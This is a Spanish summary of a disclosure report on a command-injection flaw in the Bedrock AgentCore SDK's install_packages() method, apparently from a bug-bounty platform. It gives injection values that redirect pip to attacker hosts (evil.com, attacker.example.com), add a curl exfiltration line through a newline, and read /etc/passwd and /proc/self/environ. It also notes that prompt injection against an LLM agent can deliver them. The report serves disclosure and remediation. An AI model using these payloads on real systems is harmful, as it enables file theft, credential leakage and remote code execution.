Reports
ALTA[RCE]#3633123

Inyección de comandos en install_packages() del SDK de AWS Bedrock AgentCore vía flags de pip

Una validación por lista negra incompleta en install_packages() del SDK de Bedrock AgentCore permitía inyectar flags de pip como --index-url o -r, logrando lectura de ficheros, SSRF y ejecución de comandos en el sandbox del Code Interpreter.

Resumen
Resumen en castellano de un reporte público, no una traducción literal. El código y los comandos se mantienen como en el original.

Resumen

El método install_packages() del SDK de Python de AWS Bedrock AgentCore (bedrock-agentcore-sdk-python) validaba los nombres de paquete con una lista negra incompleta. Varios vectores de inyección la esquivaban; el más grave, el flag --index-url de pip, permitía redirigir la resolución de paquetes hacia un servidor PyPI controlado por el atacante y así ejecutar código arbitrario dentro del sandbox del Code Interpreter.

Se le asignó CVE-2026-12530. Afecta a todas las versiones de bedrock-agentcore-sdk-python hasta al menos la v1.4.8.

Causa raíz

El código vulnerable está en src/bedrock_agentcore/tools/code_interpreter_client.py (líneas 588-598):

# Sanitize package names (basic validation)
for pkg in packages:
    if any(char in pkg for char in [";", "&", "|", "`", "$"]):
        raise ValueError(f"Invalid characters in package name: {pkg}")

packages_str = " ".join(packages)
upgrade_flag = "--upgrade " if upgrade else ""
command = f"pip install {upgrade_flag}{packages_str}"

self.logger.info("Installing packages: %s", packages_str)
return self.invoke("executeCommand", {"command": command})

La lista negra comprueba ;, &, |, ` ` y $, pero no contempla la propia sintaxis de flags de pip. Como las cadenas validadas se concatenan directamente en el comando pip install`, cualquier flag de pip que use solo caracteres alfanuméricos, guiones, barras y puntos pasa la validación. Vectores concretos:

  1. Inyección del flag --index-url / -i: los caracteres -, /, : y . están permitidos. Un "nombre de paquete" como --index-url https://evil.com/simple/ malicious-package pasa la validación y ordena a pip descargar paquetes de un servidor del atacante.
  2. Inyección de salto de línea (\n): no está en la lista negra. Un nombre como "pandas\ncurl http://attacker.com/exfil" inyecta un segundo comando.
  3. Inyección del flag -r: "-r /etc/passwd" hace que pip intente leer un fichero local como fichero de requisitos, filtrando su contenido en los mensajes de error.

Pasos de reproducción

Requisitos previos:

  • Cuenta de AWS con acceso a Bedrock AgentCore (cualquier usuario autenticado, sin permisos especiales). La vulnerabilidad existe en toda sesión del Code Interpreter.
  • El SDK bedrock-agentcore instalado (pip install bedrock-agentcore) para ejecutar el script de PoC. El SDK no es necesario para la vulnerabilidad en sí: el mismo método install_packages() está disponible en cualquier sesión del Code Interpreter, incluida la consola de AWS o cualquier aplicación construida con el SDK.
  1. Ejecutar el script de PoC que el investigador adjuntó al reporte, demo-pip-injection.py:
python3 demo-pip-injection.py
  1. Observar la salida:
STEP 1: Blocklist correctly blocks shell injection
  Blocked: Invalid characters in package name: pandas; curl http://evil.com

STEP 2: Bypass blocklist -- read /etc/passwd via -r flag
  ERROR: Invalid requirement: 'root:x:0:0:root:/root:/bin/bash'

STEP 3: Escalate -- read /proc/self/environ for secrets
  TOOLS_SERVER_LOG_LEVEL=info
  PLATFORM_SERVER_HOST=127.0.0.1
  PLATFORM_SERVER_PORT=48620
  TOOLS_SERVER_PORT=8080

El script recorre tres fases:

  • Fase 1: la inyección de shell con ; sí queda bloqueada por la lista negra.
  • Fase 2: -r /etc/passwd esquiva la lista negra; pip lee el fichero y filtra su contenido en los mensajes de error.
  • Fase 3: se escala a -r /proc/self/environ, que filtra todas las variables de entorno del sandbox (rutas internas, puertos, configuración de servicios).

Vectores adicionales (fuera del script de PoC):

# Redirects pip to an attacker-controlled PyPI server
code_client.install_packages(["--index-url", "https://attacker.example.com/simple/", "malicious-package"])
# Confirmed via interactsh: DNS requests from AWS Code Interpreter IPs
code_client.install_packages(["pandas\nid"])
# The 'id' command executes separately after pip install

El primero redirige pip a un servidor PyPI del atacante (el investigador lo confirmó con interactsh, recibiendo peticiones DNS desde IPs del Code Interpreter de AWS). El segundo usa un salto de línea para que el comando id se ejecute por separado tras el pip install.

Impacto

Un atacante que pueda influir en los argumentos de install_packages() —por ejemplo mediante inyección de prompt contra un agente LLM que use el Code Interpreter— podía:

  1. Leer ficheros arbitrarios del sandbox con el flag -r de pip. Confirmado: el contenido de /etc/passwd y /proc/self/environ se filtró en los mensajes de error de pip. Las variables de entorno expuestas revelaban la arquitectura interna del sandbox (rutas genesis1p-tools, puertos internos de servicio como 48620 y 8080, y configuración de procesos). En sandboxes con roles IAM, /proc/self/environ filtraría AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY y AWS_SESSION_TOKEN.
  2. Redirigir la resolución de paquetes a un mirror PyPI malicioso con --index-url. Confirmado: peticiones DNS desde las IPs del Code Interpreter de AWS ([REDACTADO], [REDACTADO]) alcanzaron un servidor OOB de interactsh, lo que prueba que el sandbox se conectó a un servidor del atacante.
  3. Ejecutar comandos arbitrarios en el sandbox del Code Interpreter mediante inyección de salto de línea.

Remediación

El investigador recomienda sustituir la lista negra incompleta por una lista blanca que solo acepte nombres de paquete PyPI válidos (con especificador de versión opcional), bloqueando así toda inyección de flags y de comandos:

import re

VALID_PACKAGE_NAME = re.compile(r'^[a-zA-Z0-9]([a-zA-Z0-9._-]*[a-zA-Z0-9])?(\[.*\])?(==|>=|<=|!=|~=|>|<)?[a-zA-Z0-9.*]*$')

for pkg in packages:
    if not VALID_PACKAGE_NAME.match(pkg):
        raise ValueError(f"Invalid package name: {pkg}")